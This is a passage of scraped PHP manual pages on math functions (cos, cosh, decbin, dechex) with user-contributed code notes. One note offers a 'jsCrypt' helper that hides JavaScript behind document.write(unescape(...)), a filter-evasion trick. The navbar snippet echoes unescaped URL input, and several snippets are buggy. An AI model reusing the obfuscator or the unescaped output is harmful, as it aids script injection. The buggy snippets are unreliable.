IceKarma said: "If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero."

That's not always true. round() doesn't work that way, like zomis2k said it just rounds up _or_ down to the nearest non-decimal number. However this should work.

<?php

function roundaway($num) {
    if ($num > 0)
      return ceil($num);
    elseif ($num < 0)
      return floor($num);
    elseif ($num == 0)
      return 0;
}

?>
roger_dupere at hotmail dot com 10-Nov-2003 11:02
Here is a navbar using the ceil function.

<?php
 function navbar($num_rows,$page,$link) {
   $nbrlink = 10; /* Number of link to display per page */
   $page = (int) $page; /* Page now displayed */
   $num_rows = (int) $num_rows;

   if( $num_rows > 0 ) {
     $total_page = ceil( $num_rows / $nbrlink );

     for( $i=1;$i<$total_page+1;$i++ ) {
       if( $i == $page ) {
         $ret .= " <b>$i</b> ";
       } else {
         if( strstr( $link,"?" ) ) {
           $ret .= " <a href=\"$link&page=$i\">$i</a> ";
         } else {
           $ret .= " <a href=\"$link?page=$i\">$i</a> ";
         }
       }
     }

     return $ret;
   }
 }
  /* Let say that $num_rows content the numbre of rows of your sql query */
  $navbar = navbar( $num_rows, $page, "listmovie.php?id=$id" );

  if( $navbar != null || $navbar != "" ) {
    print( "<p><div align=\"center\">$navbar</div></p>" );
  }
?>


Cosine

  • « ceil
  • cosh »
  • PHP Manual
  • Math Functions
  • Cosine

cos

(PHP 4, PHP 5)

cos — Cosine

Description

float cos ( float $arg )

cos() returns the cosine of the arg parameter. The arg parameter is in radians.

Parameters

arg

An angle in radians

Return Values

The cosine of arg

Examples

Example #1 cos() example

<?php

echo cos(M_PI); // -1

?>

See Also

  • acos() - Arc cosine
  • sin() - Sine
  • tan() - Tangent
  • deg2rad() - Converts the number in degrees to the radian equivalent

User Contributed Notes

shrinivasmani at gmail dot com 15-Oct-2013 08:57
Convert degree to radianus

<?php

    // Degree
    $degree = 360;

    // Convertion
    print cos(deg2rad($degree));

?>
felipensp at gmail dot com 12-Mar-2006 02:29
Convert degree to radianus, radianus to cos.

<?php

    // Degree
    $degree = 360;

    // Convertion
    print cos(deg2rad($degree));

?>


Hyperbolic cosine

  • « cos
  • decbin »
  • PHP Manual
  • Math Functions
  • Hyperbolic cosine

cosh

(PHP 4 >= 4.1.0, PHP 5)

cosh — Hyperbolic cosine

Description

float cosh ( float $arg )

Returns the hyperbolic cosine of arg, defined as (exp(arg) + exp(-arg))/2.

Parameters

arg

The argument to process

Return Values

The hyperbolic cosine of arg

See Also

  • cos() - Cosine
  • acosh() - Inverse hyperbolic cosine
  • sinh() - Hyperbolic sine
  • cosh()

User Contributed Notes

There are no user contributed notes for this page.


Decimal to binary

  • « cosh
  • dechex »
  • PHP Manual
  • Math Functions
  • Decimal to binary

decbin

(PHP 4, PHP 5)

decbin — Decimal to binary

Description

string decbin ( int $number )

Returns a string containing a binary representation of the given number argument.

Parameters

number

Decimal value to convert

Range of inputs on 32-bit machines
positive number | negative number | return value
0 | 0
1 | 1
2 | 10
... normal progression ...
2147483646 | 1111111111111111111111111111110
2147483647 (largest signed integer) | 1111111111111111111111111111111 (31 1's)
2147483648 | -2147483648 | 10000000000000000000000000000000
... normal progression ...
4294967294 | -2 | 11111111111111111111111111111110
4294967295 (largest unsigned integer) | -1 | 11111111111111111111111111111111 (32 1's)
Range of inputs on 64-bit machines
positive number | negative number | return value
0 | 0
1 | 1
2 | 10
... normal progression ...
9223372036854775806 | 111111111111111111111111111111111111111111111111111111111111110
9223372036854775807 (largest signed integer) | 111111111111111111111111111111111111111111111111111111111111111 (63 1's)
-9223372036854775808 | 1000000000000000000000000000000000000000000000000000000000000000
... normal progression ...
-2 | 1111111111111111111111111111111111111111111111111111111111111110
-1 | 1111111111111111111111111111111111111111111111111111111111111111 (64 1's)

Return Values

Binary string representation of number

Examples

Example #1 decbin() example

<?php
echo decbin(12) . "\n";
echo decbin(26);
?>

The above example will output:

1100
11010

See Also

  • bindec() - Binary to decimal
  • decoct() - Decimal to octal
  • dechex() - Decimal to hexadecimal
  • base_convert() - Convert a number between arbitrary bases
  • printf() - Output a formatted string, using %b, %032b or %064b as the format
  • sprintf(), using %b, %032b or %064b as the format

User Contributed Notes

MarcelG 12-Feb-2014 07:07
To add leading zeros I prefer the following:
<?php
// Add leading zeros
$bin = sprintf( "%08d", decbin( 26 )); // "00011010"
?>
dj.luiting(.a.t.)gmail.com 22-Jan-2014 06:06
hi folks, i struggled for a day to get a big decimal number converted into binary, on the windows platform.
finally with bcmath functions this is what worked for me.

function bc_convert2bin($string) {

    //got it to work with bcmath functions, works for 64 bit on 32 bit windows machine
    $finished=0;
    $base=2;
    $bin_nr='';

    if(preg_match("/[^0-9]/", $string)) {
        for($i=0; $string!=chr($i); $i++) {
            $dec_nr=$i;
        }
    } else {
        $dec_nr=$string;
    }
    //while( $dec_nr>$base ) {
    while( bccomp($dec_nr,$base) == 1 ) {

        //$base=$base*2;
        $base=bcmul($base,'2');
        //if($base>$dec_nr) {
        if( bccomp($base,$dec_nr) == 1 ) {
            //$base=$base/2;
            $base=bcdiv($base,'2');
            break;
        }
    }

    while(!$finished) {

        //if(($dec_nr-$base)>0) {
        if( bccomp( bcsub($dec_nr,$base) , 0) == 1 ) {

            //$dec_nr=$dec_nr-$base;
            $dec_nr=bcsub($dec_nr,$base);
            $bin_nr.=1;
            //$base=$base/2;
            $base=bcdiv($base,'2');

        //} elseif(($dec_nr-$base)<0) {
        } elseif( bccomp( bcsub($dec_nr,$base) , 0) == -1 ) {

            $bin_nr.=0;
            //$base=$base/2;
            $base=bcdiv($base,'2');

        //} elseif(($dec_nr-$base)==0) {
        } elseif( bccomp( bcsub($dec_nr,$base) , 0) == 0 ) {

            $bin_nr.=1;
            $finished=1;
            //while($base>1) {
            while( bccomp($base,1) == 1 ) {

                $bin_nr.=0;
                //$base=$base/2;
                $base=bcdiv($base,'2');

            }
        }
    }
    return $bin_nr;
}
mcampa at gmail dot com 24-Aug-2013 12:09
A little useful little function that returns a binary string with leading 0s:

function d2b($n) {
  return str_pad(decbin($n), 16, "0", STR_PAD_LEFT);
}

// example:
echo d2b(E_ALL);
echo d2b(E_ALL | E_STRICT);
echo d2b(0xAA55);
echo d2b(5);

Output:
0111011111111111
0111111111111111
1010101001010101
0000000000000101
Silas R (15) 06-Mar-2013 03:00
This is my System:

You can convert a decimal number to a number system you want, like the binary system.

<?php

    function Dec2oSys($numberDec, $SysNum)
    {
        if($numberDec != 0)
        {
            $numberOSys = "";
            for (; $numberDec > 0;) {
                $numberDecBefore = $numberDec;
                $numberDec = $numberDec / $SysNum;
                $pos = strpos($numberDec, '.');
                if($pos != false)
                {
                    $numberDec = floor($numberDec);
                    $numberOSys .= $numberDecBefore - floor($numberDec) * $SysNum;
                    $rest = $numberDecBefore - floor($numberDec) * $SysNum;
                }
                else
                {
                    $numberOSys .= "0";
                    $rest = 0;

                }
                print $numberDec."; Rest:".$rest."<br/>";
            }
        }
        else
        {
            $numberOSys = "0";
        }
        return strrev($numberOSys);
    }

    print Dec2oSys(100, 2);

?>
Nitrogen 21-Jul-2009 07:30
Decimal to Binary conversion using the BCMath extension.

<?php

function BCDec2Bin($Input='') {
 $Output='';
 if(preg_match("/^\d+$/",$Input)) {
   while($Input!='0') {
     $Output.=chr(48+($Input{strlen($Input)-1}%2));
     $Input=BCDiv($Input,'2');
   }
   $Output=strrev($Output);
 }
 return(($Output!='')?$Output:'0');
}

?>

This will simply convert from Base-10 to Base-2 using BCMath (arbitrary precision calculation).

See also: my 'BCBin2Dec' function on the 'bindec' document.
Enjoy,
Nitrogen.
Kay 04-Oct-2008 02:04
I think this is the best function. Is almost endlessy (till 2^50 or something)

<?php
function bin($int)
{
    $i = 0;
    $binair = "";
    while($int >= pow(2,$i))
    {
        $i++;
    }

    if($i != 0)
    {
        $i = $i-1; //max i
    }

    while($i >= 0)
    {
        if($int - pow(2,$i) < 0)
        {
            $binair = "0".$binair;
        }else{
            $binair = "1".$binair;
            $int = $int - pow(2,$i);
        }

        $i--;
    }
    return $binair;
}

$getal = $_GET['getal'];

echo bin($getal);
?>
avenger at avenger dot ws 24-Aug-2008 03:25
Careful trying binary-wise tests with integers:

# FFFFFFFF
command: php -r 'print(decbin(4294967295)."\n");'
result: 11111111111111111111111111111111

# C3E9CAC8
command: php -r 'print(decbin(3286878920)."\n");'
result: 11000011111010011100101011001000

# regardless of specifying "(int)", using bitwise AND:
command: php -r 'print((int)(3286878920 & 4294967295)."\n");'
result: -1008088376 (int)

# now the expected result will happen (guess the performance impact)
command: php -r 'print(bindec(decbin((3286878920 & 4294967295)))."\n");'
result: 3286878920 (float)

additional note: if you "bitwise and" some random bits with a sequence of 1-bit of the same length, the expected result is the same "random bits sequence" unchanged. If you want to keep this in the integer world for faster comparisons, you risk messing your result for the signed integer size limitation. The maximum value you can use for the desired result is (7FFFFFFF -- or integer 2147483647), half of the maximum 'unsigned' integer 32-bit(platform-dependent) value.
darkshad3 at yahoo dot com 16-Feb-2007 12:15
<?php
Print bindecValues("1023");

function bindecValues($decimal, $reverse=false, $inverse=false) {
/*
1. This function takes a decimal, converts it to binary and returns the
     decimal values of each individual binary value (a 1) in the binary string.
     You can use larger decimal values if you pass them to the function as a string!
2. The second optional parameter reverses the output.
3. The third optional parameter inverses the binary string, eg 101 becomes 010.
-- darkshad3 at yahoo dot com
*/

    $bin = decbin($decimal);
    if ($inverse) {
        $bin = str_replace("0", "x", $bin);
        $bin = str_replace("1", "0", $bin);
        $bin = str_replace("x", "1", $bin);
    }
    $total = strlen($bin);

    $stock = array();

    for ($i = 0; $i < $total; $i++) {
        if ($bin{$i} != 0) {
            $bin_2 = str_pad($bin{$i}, $total - $i, 0);
            array_push($stock, bindec($bin_2));
        }
    }

    $reverse ? rsort($stock):sort($stock);
    return implode(", ", $stock);
}
?>

The printed result is : 1, 2, 4, 8, 16, 32, 64, 128, 256, 512
Xavier Daull 04-Feb-2006 11:57
A fast function to convert a binary string to a bit sequence

<?php

function BinString2BitSequence($mystring) {
    $mybitseq = "";
    $end = strlen($mystring);
    for($i = 0 ; $i < $end; $i++){
        $mybyte = decbin(ord($mystring[$i])); // convert char to bit string
        $mybitseq .= substr("00000000",0,8 - strlen($mybyte)) . $mybyte; // 8 bit packed
    }
    return $mybitseq;
}

echo BinString2BitSequence("ABCDEF"); // OUTPUT=010000010100001001000011010001000100010101000110

?>
06-Jan-2006 03:29
Just an example:
If you convert 26 to bin you'll get 11010, which is 5 chars long. If you need the full 8-bit value use this:

$bin = decbin(26);
$bin = substr("00000000",0,8 - strlen($bin)) . $bin;

This will convert 11010 to 00011010.
08-Feb-2005 04:27
base_convert( base_convert('100001000100000000010001001000
0100100000001111111111111111111',2,10),10,2);

return
'1000010001000000000100010010000
100100000010000000000000000000'

this function doesn't work
php at silisoftware dot com 01-Mar-2002 04:15
Another larger-than-31-bit function.
Works for very large numbers, but at the expense of perfect bit-precision as the size increases (I noticed rounding errors past 16 or so decimal places) so use with caution, and only when decbin() won't cut it.

function Dec2Bin($number) {
    while ($number >= 256) {
        $bytes[] = (($number / 256) - (floor($number / 256))) * 256;
        $number = floor($number / 256);
    }
    $bytes[] = $number;
    for ($i=0;$i<count($bytes);$i++) {
        $binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, "0", STR_PAD_LEFT)).$binstring;
    }
    return $binstring;
}
ajl at gmx dot de 08-Oct-2001 10:47
HERE you can convert 64bit instead of 32bit with the standard decbin
<?
function bigdecbin($dec,$doublewords=1) {
    $erg = "";
    do {
          $rest = $dec%2147483648;
          if ($rest<0) $rest+=2147483648;
          $erg = str_pad(decbin($rest),31,"0",STR_PAD_LEFT).$erg;
          $dec = ($dec-$rest)/2147483648;
      } while (($dec>0)&&(!($dec<1)));

      return str_pad($erg,$doublewords*31,"0",STR_PAD_LEFT);
}

echo "<pre>";
for ($i=1.5*2147483647.0-10;$i<1.5*2147483647.0+10;$i++) {
    echo "DEC:".$i." BIN:".bigdecbin($i,2)."<br>";
}
echo "</pre>";
?>


Decimal to hexadecimal

  • « decbin
  • decoct »
  • PHP Manual
  • Math Functions
  • Decimal to hexadecimal

dechex

(PHP 4, PHP 5)

dechex — Decimal to hexadecimal

Description

string dechex ( int $number )

Returns a string containing a hexadecimal representation of the given unsigned number argument.

The largest number that can be converted is PHP_INT_MAX * 2 + 1 (or -1): on 32-bit platforms, this will be 4294967295 in decimal, which results in dechex() returning ffffffff.

Parameters

number

The decimal value to convert.

As PHP's integer type is signed, but dechex() deals with unsigned integers, negative integers will be treated as though they were unsigned.

Return Values

Hexadecimal string representation of number.

Examples

Example #1 dechex() example

<?php
echo dechex(10) . "\n";
echo dechex(47);
?>

The above example will output:

a
2f

Example #2 dechex() example with large integers

<?php
// The output below assumes a 32-bit platform.
// Note that the output is the same for all values.
echo dechex(-1)."\n";
echo dechex(PHP_INT_MAX * 2 + 1)."\n";
echo dechex(pow(2, 32) - 1)."\n";
?>

The above example will output:

ffffffff
ffffffff
ffffffff

See Also

  • hexdec() - Hexadecimal to decimal
  • decbin() - Decimal to binary
  • decoct() - Decimal to octal
  • base_convert() - Convert a number between arbitrary bases

User Contributed Notes

baoquyen804 at gmail dot com 02-Sep-2014 06:16
this base function convert string rgb to color
<?php
    function rgb_to_color($rgb, $symbols=' '){
        $color = '';
        $arr = explode($symbols, $rgb);
        $count = count($arr);
        for($i=0; $i<$count; $i++){
            $color .= dechex($arr[$i]);
        }
        return '#'.$color;
    }
       echo rgb_to_color('186 186 18');  // #baba12
    echo rgb_to_color('186-186-18', '-');  // #baba12
?>
jenny-schubert87 dot 1 at web dot de 01-Aug-2014 07:02
I figured out another way to do this:
if you have a very long decimal number in gmp format (you can always create a gmp number with gmp_init($numberstring), you can simply do gmp_strval($gmpnumber, 16), where $gmpnumber is your gmp number, and the 16 is the base you want to transform it to. Worked for me like a charm, also works for other bases.
Kory P. 11-Nov-2013 12:56
Or you could use this for an RGBA color.
    function toAlphaColor($n,$a)
    {
        $rgb = substr("000000".dechex($n),-6);
        $alpha = substr("00".dechex($a),-2);
        return("#".$rgb.$alpha);
    }
mailderemi at gmail dot com 13-Dec-2012 11:26
Javascript Crypt:

<?php
function jsCrypt($script,$level=1){
    for ($j=0;$j<$level;$j++){
        $asc='';
        for ($i=0;$i<strlen($script);$i++)
            $asc.='%'.dechex(ord($script[$i]));
        $script='<SCRIPT LANGUAGE="JavaScript">document.write(unescape(\''.$asc.'\'));</SCRIPT>';
    }
    return $script;
}

echo jsCrypt('<script>alert(123);</script>',1);
?>
hmlinks at gmail dot com 03-Oct-2012 10:02
I wrote this to convert hex into signed int, hope this helps someone out there... peace :)

<?php
$hex = dechex(-32767);
$dec = shexdex($hex);

function shexdex($hex){
    $dec = hexdec($hex);

    // Negative number (in binary if the msb is 1 then it is neg)
    // since one hex is 4bits, the value 8 and up contain msb of 1, hence negative number
    if ($hex[0] >= '8'){    // Note: if you use the digit 8 it is not the same as '8'
        $dec -= 1;
        $dec = ~$dec;

        return -$dec;
    }

    return $dec;
}

if ($dec == -32767){
    echo 'Yay!';
}
?>
sneskid at hotmail dot com 23-Mar-2012 04:09
If you want to create or parse signed Hex values:

<?php
// $d should be an int
function sdechex($d) { return ($d<0) ? ('-' . dechex(-$d)) : dechex($d); }

// $h should be a string
function shexdec($h) { return ($h[0] === '-') ? -('0x' . substr($h,1) + 0) : ('0x' . $h + 0); }

// test

$v = sdechex(-123); // string(3) "-7b"
$i = shexdec($v);   // int(-123)
var_dump($v, $i);
?>

Also note that ('0x' . $str + 0) is faster than hexdec()
andries at centim dot be 07-Mar-2012 11:44
If you need to convert a large number (> PHP_MAX_INT) to a hex value, simply use base_convert. For example:

base_convert('2190964402', 10, 16); // 829776b2
9381904 at gmail dot com 02-Nov-2011 07:11
for mac address
<?php
function dec2mac($mac) {
   $mac=preg_split("([.])", $mac, 6);
   $hexmac="";
   foreach ($mac as $part)
   {
   $part=dechex($part);
   strlen($part)<2 ? $hexmac.="0$part" : $hexmac.=$part;
   }
   return $hexmac;
}
echo dec2mac("0.29.96.71.60.137"); // 001d60473c89
?>
jbleau at gmail dot com 29-Oct-2008 11:23
I was confused by dechex's size limitation. Here is my solution to the problem. It supports much bigger values, as well as signs.

<?php
function dec_to_hex($dec)
{
    $sign = ""; // suppress errors
    if( $dec < 0){ $sign = "-"; $dec = abs($dec); }

    $hex = Array( 0 => 0, 1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5,
                  6 => 6, 7 => 7, 8 => 8, 9 => 9, 10 => 'a',
                  11 => 'b', 12 => 'c', 13 => 'd', 14 => 'e',
                  15 => 'f' );

    do
    {
        $h = $hex[($dec%16)] . $h;
        $dec /= 16;
    }
    while( $dec >= 1 );

    return $sign . $h;
}
?>
mountarreat at gmail dot com 11-May-2008 06:55
I was challenged by a problem with large number calculations and conversion to hex within php. The calculation exceeded unsigned integer and even float range. You can easily change it for your needs but it is, thanks to bcmath, capable of handling big numbers via string. This function will convert them to hex.

In this specific example though, since I use it for game internals that can only handle 32 bit numbers, it will truncate calculations at 8 digits. If the input is 1 for example it will be filled up with zeros. Output 00000001h.

Of course I don't claim it to be a good one, but it works for me and my purpose. Suggestions on faster code welcome!

<?php
// Turns numbers into 32-bit hex string; Fills up zeros
function lrgDec2Hex($number)
{
    $i = 0;
    $hex = array();

    while($i < 8) {
        if($number == 0) {
            array_push($hex, '0');
        }
        else {
            array_push($hex, strtoupper(dechex(bcmod($number, '16'))));
            $number = bcdiv($number, '16', 0);
        }
        $i++;
    }
    krsort($hex);
    return implode($hex);
}
?>
sjaak at spoilerfreaks dot com 09-Mar-2007 04:28
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
<?php echo(dechex("2724838310")); ?>
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
<?php echo(dechex("2724838310"+0)); ?>
will print 'A269BBA6'
brent 16-Dec-2006 08:33
Be very careful calling dechex on a number if it's stored in a string.

For instance:

The max number it can handle is 4294967295 which in hex is FFFFFFFF, as it says in the documentation.

dechex(4294967295) => FFFFFFFF //CORRECT

BUT, if you call it on a string of a number, it casts to int, and automatically gives you the largest int it can handle.

dechex('4294967295') => 7FFFFFFF //WRONG!

so you'll need to cast to a float:

dechex((float) '4294967295') => FFFFFFFF //CORRECT

This took me FOREVER to figure out, so hopefully I just saved someone some time.
Mista-NiceGuy at web dot de 28-Dec-2005 02:00
These are functions to convert roman numbers (e.g. MXC) into dec and vice versa.
Note: romdec() does not check whether a string is really roman or not. To force a user-input into a real roman number use decrom(romdec($input)). This will turn XXXX into XL for example.

<?php
    function decrom($dec){
        $digits=array(
            1 => "I",
            4 => "IV",
            5 => "V",
            9 => "IX",
            10 => "X",
            40 => "XL",
            50 => "L",
            90 => "XC",
            100 => "C",
            400 => "CD",
            500 => "D",
            900 => "CM",
            1000 => "M"
        );
        krsort($digits);
        $retval="";
        foreach($digits as $key => $value){
            while($dec>=$key){
                $dec-=$key;
                $retval.=$value;
            }
        }
        return $retval;
    }

    function romdec($rom){
        $digits=array(
            "I" => 1,
            "V" => 5,
            "X" => 10,
            "L" => 50,
            "C" => 100,
            "D" => 500,
            "M" => 1000
        );
        $retval="";
        $chars=array();
        for($i=1;$i<=strlen($rom);$i++){
            $chars[]=substr($rom,$i-1,1);
        }
        $step=1;
        for($i=count($chars)-1;$i>=0;$i--){
            if(!isset($digits[$chars[$i]])){ return "Error!"; }
            if($step<=$digits[$chars[$i]]){
                $step=$digits[$chars[$i]];
                $retval+=$digits[$chars[$i]];
            }
            else{
                $retval-=$digits[$chars[$i]];
            }
        }
        return $retval;
    }

    echo decrom(romdec("XXXX"));
?>
cory at lavacube dot com 28-Oct-2005 01:45
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
    // put values into an easy-to-use array
    $vals['r'] = hexdec( substr($in, 0, 2) );
    $vals['g'] = hexdec( substr($in, 2, 2) );
    $vals['b'] = hexdec( substr($in, 4, 2) );

    // loop through
    foreach( $vals as $val )
    {
        // convert value
        $val = ( round($val/51) * 51 );
        // convert to HEX
        $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
    }

    return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
oliver at realtsp dot com 14-Jun-2005 10:46
Warning for use on 64 bit machines! The Extra length matters!

32bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

64bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

so far it is ok. But for slightly bigger numbers:

32bit machine:
php -r 'echo dechex(4294967296);'
output: 0

64bit machine:
php -r 'echo dechex(4294967296);'
output: 100000000

note the difference!

This is particularly important when converting negative numbers:

64bit machine:
php -r 'echo dechex(-1);'
output: ffffffffffffffff

32bit machine:
php -r 'echo dechex(-1);'
output: ffffffff

If you want your code to be portable to amd64 or xeons (which are now quite popular with hosting companies) then you must ensure that your code copes with the different length of the result for negative numbers (and the max value, although that is probably less critical).
jrisken at mn dot rr dot com 29-May-2005 04:33
A less elegant but (perhaps) faster way to pad is with substr with a negative length argument. I use it in this tiny function which formats computed rgb color codes for style sheets:
<?
function toColor($n)
{
return("#".substr("000000".dechex($n),-6));
}
?>
admin AT bobfrank DOT org 02-May-2005 04:28
Here is a very small zeropadding that you can use for numbers:

function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num);
}

zeropad("234",6);

will produce:
000234

zeropad("234",1);

will produce:
234
morten at nilsen dot com 02-Jan-2005 01:30
I see a lot of less-than-optimal functions posted on this page, so I feel I have to give some better examples...
due to the sheer size of this collection, I have made it available on my server, rather than copy/paste it into these comments.

http://ryo-ohki.4th-age.com/demos/able.php
and
http://ryo-ohki.4th-age.com/demos/able.phps

dechex replacement function from above source:
<?php
  define('BIT_BYTE', 8); // bits per byte
  define('HEX_BYTE', BIT_BYTE/4); // hex digits in a byte

  define('BIT_INT',  32); // sizeof(int)
  define('HEX_INT',  BIT_INT / (BIT_BYTE/HEX_BYTE)); // hex digits in an int

  function i2h($int, $group=HEX_BYTE, $size=HEX_INT, $sep=' ') {
    $ret = '';
    while($size--) {
      $n=($int>>($size*4)) & 0xf;
      $ret .= $n>9?chr(55 + $n):$n;
      if($size && $size%$group == 0) $ret .= $sep;
    }
    return $ret;
  }

  echo i2h(rand(1,2)==1?-mt_rand():mt_rand());
?>
wangster at darkcore dot net 15-Dec-2004 08:36
This function will take a string and convert it into a hexdump.

e.g.

3c666f6e 74207369 7a653d22 33223e4c  <font.size."3">L
6561726e 20686f77 20746f20 62652061  earn.how.to.be.a

function hexdump($string) {
   $hex="";
   $substr = "";
   for ($i=0; $i < strlen($string) ;$i++) {
     if(!($i % 4) && $i != 0) {
       $hex .= " ";
     }
     if(!($i % 16) && $i != 0) {
       $clean = preg_replace("/[^a-zA-Z0-9!-.<>\/]/",".",$substr);
       $hex .= " ".htmlentities($clean)."\n";
       $substr = "";
     }
     $substr .=  $string[$i];
     $hex .= dechex(ord($string[$i]));
   }
   return $hex;
}
12-Dec-2004 04:31
If you need to generate random HEX-color, use this:
<?php
function random_hex_color(){
    return sprintf("%02X%02X%02X", mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
}
$hex = random_hex_color(); // 09B826
?>

Enjoy.
11-Dec-2004 10:30
If you need to convert RGB-color into HEX-color, use this:
<?php
function rgb2hex($rgb){
    return sprintf("%06X", $rgb);
}
$hex = rgb2hex(65280); // 00FF00
?>
admin[TAKETHISOUT] at torsoft dot no-ip dot com 21-Apr-2004 09:01
<?php
/*
here are two functions, some might find them useful (maybe for encoding)
converting string to hex and hex to string:
*/

function strhex($string)
{
    $hex="";
    for ($i=0;$i<strlen($string);$i++)
        $hex.=(strlen(dechex(ord($string[$i])))<2)? "0".dechex(ord($string[$i])): dechex(ord($string[$i]));
    return $hex;
}
function hexstr($hex)
{
    $string="";
    for ($i=0;$i<strlen($hex)-1;$i+=2)
        $string.=chr(hexdec($hex[$i].$hex[$i+1]));
    return $string;
}
?>
daevid at daevid dot com 18-Mar-2004 11:59
Here's my version of a red->yellow->green gradient:

<?php
function colorMeter($percent, $invert = false)
{
    //$percent is in the range 0.0 <= percent <= 1.0
    //    integers are assumed to be 0% - 100%
             // and are converted to a float 0.0 - 1.0
    //     0.0 = red, 0.5 = yellow, 1.0 = green
    //$invert will make the color scale reversed
    //     0.0 = green, 0.5 = yellow, 1.0 = red

    //convert (int)% values to (float)
    if (is_int($percent)) $percent = $percent * 0.01;

    $R = min((2.0 * (1.0-$percent)), 1.0) * 255.0;
    $G = min((2.0 * $percent), 1.0) * 255.0;
    $B = 0.0;

    return (($invert) ?
sprintf("%02X%02X%02X",$G,$R,$B)
: sprintf("%02X%02X%02X",$R,$G,$B));
} //colorMeter
?>

and use it like this:

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0.0; $i <= 1.0; $i += 0.10)
{
    $RGB = colorMeter($i);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>

<P>

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0; $i <= 100; $i += 10)
{
    $RGB = colorMeter(intval($i), true);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>
thr at recide dot net 10-Feb-2004 01:39
/*
* RGB-Colorcodes(i.e: 255 0 255) to HEX-Colorcodes (i.e: FF00FF)
*/
function rgb2hex($rgb){
    if(!is_array($rgb) || count($rgb) != 3){
        echo "Argument must be an array with 3 integer elements";
        return false;
    }
    for($i=0;$i<count($rgb);$i++){
        if(strlen($hex[$i] = dechex($rgb[$i])) == 1){
            $hex[$i] = "0".$hex[$i];
        }
    }
    return $hex;
}
/* Example */
print_r(rgb2hex(array(10,255,255)));
mina86 at tlen dot pl 05-Feb-2004 06:05
Easiest :P way to create random hex color:

<?php
function rand_color() {
    return substr('00000' . dechex(mt_rand(0, 0xffffff)), -6);
}
?>
huda m elmatsani <justhuda at netscape dot net> 17-Sep-2003 12:36
Create Random Hex Color:

function make_seed() {
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((double) $usec * 100000);
}

function rand_hex() {
   mt_srand(make_seed());
   $randval = mt_rand(0,255);
   //convert to hex
   return sprintf("%02X",$randval);
}

function random_color(){
   return "#".rand_hex().rand_hex().rand_hex();
}

hme ;)
allan-wegan at allan-wegan dot de 19-Jul-2003 07:53
now, here is a nice and small function to convert integers to hex strings and it avoids use of the DECHEX funtion because that function changed it's behavior too often in the past (now, in PHP version 4.3.2 it works with numbers bigger than 0x7FFFFFFF correctly, but i need to be backward compatible).

function &formatIntegerForOutput($value) {
    $text = "00000000";
    $transString = "0123456789ABCDEF";
    // handle highest nibble (nibble 7):
        $nibble = $value & 0x70000000;
        $nibble >>= 28;
        if ($value < 0) {
            $nibble = $nibble | 0x00000008;
        }
        $text[0] = $transString[$nibble];
        $value &= 0x0FFFFFFF;
    // nibbles 0 to 6:
        for ($a = 7; $a > 0; $a --) {
            $nibble = $value & 0x0000000F;
            $text[$a] = $transString[$nibble];
            $value >>= 4;
        }
    return $text
}

this function should be not too slow and is really simple.
I don't know, if the DECHEX function in the future will pad it's output to ever be 8 characters in length - so for backward compatibility reasons even in future PHP versions i avoided to use it.
monkyNOSPAM at phpfi dot org dot invalid 24-Sep-2002 04:20
Here's how to use bitwise operations for RGB2hex conversion. This function returns hexadesimal rgb value just like one submitted by gurke@bigfoot.com above.

function hexColor($color) {
  return dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
}

example:

$col[0] = 25;
$col[1] = 255;
$col[2] = 55;

print hexColor($col);
joost at bingopaleis dot com 28-Apr-2002 06:21
Here are two functions that will convert large dec numbers to hex and vice versa. And I really mean LARGE, much larger than any function posted earlier.

<pre>
// Input: A decimal number as a String.
// Output: The equivalent hexadecimal number as a String.
function dec2hex($number)
{
    $hexvalues = array('0','1','2','3','4','5','6','7',
               '8','9','A','B','C','D','E','F');
    $hexval = '';
     while($number != '0')
     {
        $hexval = $hexvalues[bcmod($number,'16')].$hexval;
        $number = bcdiv($number,'16',0);
    }
    return $hexval;
}

// Input: A hexadecimal number as a String.
// Output: The equivalent decimal number as a String.
function hex2dec($number)
{
    $decvalues = array('0' => '0', '1' => '1', '2' => '2',
               '3' => '3', '4' => '4', '5' => '5',
               '6' => '6', '7' => '7', '8' => '8',
               '9' => '9', 'A' => '10', 'B' => '11',
               'C' => '12', 'D' => '13', 'E' => '14',
               'F' => '15');
    $decval = '0';
    $number = strrev($number);
    for($i = 0; $i < strlen($number); $i++)
    {
        $decval = bcadd(bcmul(bcpow('16',$i,0),$decvalues[$number{$i}]), $decval);
    }
    return $decval;
}
</pre>
jfren484 at hotmail dot com 13-Feb-2002 12:47
Here's a function which works for decimal values up to 9007199254740992 (hex 20000000000000).

function dec2hex($dec)
{
  $hex = ($dec == 0 ? '0' : '');

  while ($dec > 0)
  {
    $hex = dechex($dec - floor($dec / 16) * 16) . $hex;
    $dec = floor($dec / 16);
  }

  return $hex;
}
kristoffer at caveo dot se 11-Feb-2002 02:39
Heres a example of dec to html hex gradient. Have fun :)

//Amount of gradients
$l = 20;

//Start color
$start[0] = "255";     //red
$start[1] = "0";     //green
$start[2] = "255";     //blue

//End color
$end[0] = "255";     //red
$end[1] = "255";    //green
$end[2] = "255";    //blue

for ($t = 1; $t < $l;) {

    $x = $x * $t;

    for ($i = 0; $i < 3;) {

        $buffer[$i] = $start[$i] - $end[$i];
        $buffer[$i] = floor($buffer[$i] / $l);
